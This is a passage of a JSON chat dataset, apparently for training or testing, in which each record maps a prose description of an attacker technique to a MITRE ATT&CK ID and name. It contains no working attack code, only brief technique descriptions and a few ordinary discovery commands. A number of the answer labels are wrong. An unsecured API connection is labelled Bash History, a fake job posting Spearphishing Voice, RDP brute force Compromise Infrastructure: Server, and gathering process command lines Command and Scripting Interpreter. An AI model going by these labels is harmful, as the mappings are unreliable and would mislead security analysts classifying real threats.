                "content": "An attacker sent a spear‑phishing email with a malicious Microsoft Word document that exploits a CVE in the Office macro engine to gain initial foothold."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set moved a remote access trojan from the initial compromised endpoint to a high-value server using RDP file copy."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During reconnaissance, the adversary parses the output of 'dsquery group' to map out domain groups."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware dynamically resolves the URL of its command server using a DNS over HTTPS request to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved authenticating to a remote host's IPC$ share, then using SMB to transfer and run a ransomware binary."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor injects a bootkit into the system's component firmware, enabling control during the boot process prior to OS launch."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code implements a delay and size cap on outbound traffic, ensuring each data packet remains under the configured limit."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service writes a script to \\\\SYSVOL\\\\domain\\\\scripts that executes ransomware on every workstation at boot."
            },
            {
                "role": "assistant",
                "content": "T1037.003 - Boot or Logon Initialization Scripts: Network Logon Script"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerability in the LSASS service to read memory and harvest credentials without triggering alarms."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign tricks victims into installing a malicious extension that reads stored authentication tokens from the browser’s local storage."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT actors changed the default domain policy to add a new restricted group for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool runs \"net user /domain\" to list password expiration information for all domain accounts."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a remote procedure call (RPC) service by sending malformed packets at high rates, overwhelming the endpoint and causing denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.002 - Endpoint Denial of Service: Service Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Python payload is delivered via a phishing email attachment that, when executed, establishes a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker performs victim organization profiling by collecting information about its mission, market segments, and leadership team."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker automates the deployment of a new VMware vSphere virtual machine using stolen vCenter credentials."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the ptutil tool to forge and replay Kerberos tickets across the domain."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Creating a new user account with administrator privileges for persistence"
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages TLS handshake patterns to masquerade malicious data as regular encrypted web traffic."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries the Windows Registry for user profile paths and copies the resulting files to a staging directory before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors query CDN edge certificate transparency logs to discover subdomains linked to the victim."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor steals a SAML assertion from a compromised service and presents it to gain privileged access."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs hardware fingerprinting techniques, looking for virtual machine hardware IDs, to decide whether to execute the payload."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a copy of itself onto any inserted removable storage device, ensuring it replicates when the device is used on another computer."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker enumerates the target machine's OS version, installed software, and hardware details using systeminfo commands."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is established by setting a systemd timer unit that executes a malicious script every 30 minutes."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A web server used by a multinational corporation was hijacked to serve a malicious JavaScript that examines the visitor's TLS certificate details; only users presenting certificates from the target's subsidiaries receive the payload."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new Windows service called \"svcHelper\" and sets it to start automatically for persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A user runs a legitimate-looking installer that bundles a hidden trojan."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious program registers a launch agent that triggers a reverse shell every time the user opens a new Finder window."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set configured a hidden Chrome Remote Desktop session for stealthy persistence."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads saved FTP credentials from FileZilla's sitemanager.xml file."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By compromising a machine's admin account, the threat actor injects a rogue root certificate into the Linux trust store, enabling man‑in‑the‑middle attacks on HTTPS connections."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a LaunchAgent to automatically start a credential dumping tool whenever the desktop environment loads."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ PowerShell's \"-EncodedCommand\" flag to deliver a base64‑encoded script that is decoded and executed in memory, ensuring no files are written."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gaining access to sensitive data through an unsecured API connection"
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group leverages a stolen RDP private key to authenticate and then hijacks an existing remote desktop connection without alerting the user."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool collects network interface statistics and ARP cache entries to map connected devices."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a public cloud storage API for command and control, continuously reading and writing data to maintain a bidirectional channel."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Web Service: Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware uses a stealthy ICMP echo request payload to deliver encryption keys from a remote C2 server."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of malware creates a Windows service named \"W32Time\" that runs its payload, masquerading as the Windows Time service."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor requests Kerberos service tickets for high‑privilege service accounts and then performs offline password cracking on the obtained ticket hashes."
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages LDAP queries to enumerate permission groups and their assigned users in the corporate directory."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor removes the auditd configuration that records command execution on a Linux endpoint."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a malicious Dockerfile, the attacker creates a container that, when run, executes a payload on the host system, facilitating escape from the container."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries set up a Docker container registry with malicious images to be pulled by victim systems."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware obtained valid OCI (Oracle Cloud Infrastructure) API keys and spun up high‑CPU instances for denial‑of‑service attacks."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious campaign drops a small stub that retrieves additional code from a remote server and executes it in-memory via reflective DLL injection."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware locates and reads browser password stores saved in local SQLite databases that are not encrypted."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed a brute‑force attack against RDP on a Windows server, eventually obtaining valid admin credentials."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware opened a backdoor on port 3389, allowing attackers to connect via RDP."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary clones the target's private GitHub repository to exfiltrate proprietary source code."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deploys a socket filter that drops legitimate network packets while ensuring their command-and-control traffic remains visible."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scans the victim's file system for .env files and extracts the plaintext database passwords they contain."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited an unsecured internal file upload function to replace the company’s intranet CSS with defaced styling."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion used a poisoned software deployment pipeline to embed ransomware in the installers of a popular enterprise app."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary collects all running processes' command line arguments for reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor installs a rootkit that hijacks the webcam driver, continuously recording video without user consent."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Social engineering forced the user to disclose their hardware token's generated code over a phone call, which the attacker then used to authenticate."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder modifies the \"Computer Configuration\" > \"Policies\" > \"Administrative Templates\" to run a malicious executable at startup."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a fake job posting to collect personal information from applicants."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary rent‑a‑VPS service and installs a hidden backdoor to maintain long‑term access."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses 'systemctl daemon-reload' after installing a hostile systemd unit to load it."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the NTLM hash of the KRBTGT account, the adversary generated a forged Kerberos ticket that allowed persistent access to the entire AD environment."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Scripted PowerShell code parses the output of 'gpresult /h report.html' to extract Group Policy settings for credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker queries GitLab CI/CD configuration files to discover credentials for cloud services."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a CVE‑2021‑3156 heap overflow in sudo to obtain root access."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious hyperlink is included in a calendar invitation; when the recipient clicks the link, a PowerShell command is executed to download and run a payload."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor injects a custom pam_exec module that executes arbitrary commands during the login process, allowing credential theft."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware resolves its C2 domain using DNS queries that return multiple A records which change frequently, indicating use of fast‑flux hosting."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a series of UDP packets to three distinct ports in a defined pattern, causing the target system to open a listening socket for the next stage of the intrusion."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses the Windows Management Instrumentation (WMI) class Win32_USBHub to list peripheral devices attached to the host."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages Linux's 'geoiplookup' utility on the system's external IP address to discover its geographic region."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of ransomware changes SafeBoot settings in the registry to force a Safe Mode boot, thereby disabling real-time protection."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware retrieves the current system time by calling GetSystemTime API to align its actions with the target's timezone."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker compromises a third‑party SaaS provider and uses the provider’s legitimate API credentials to access the victim’s cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
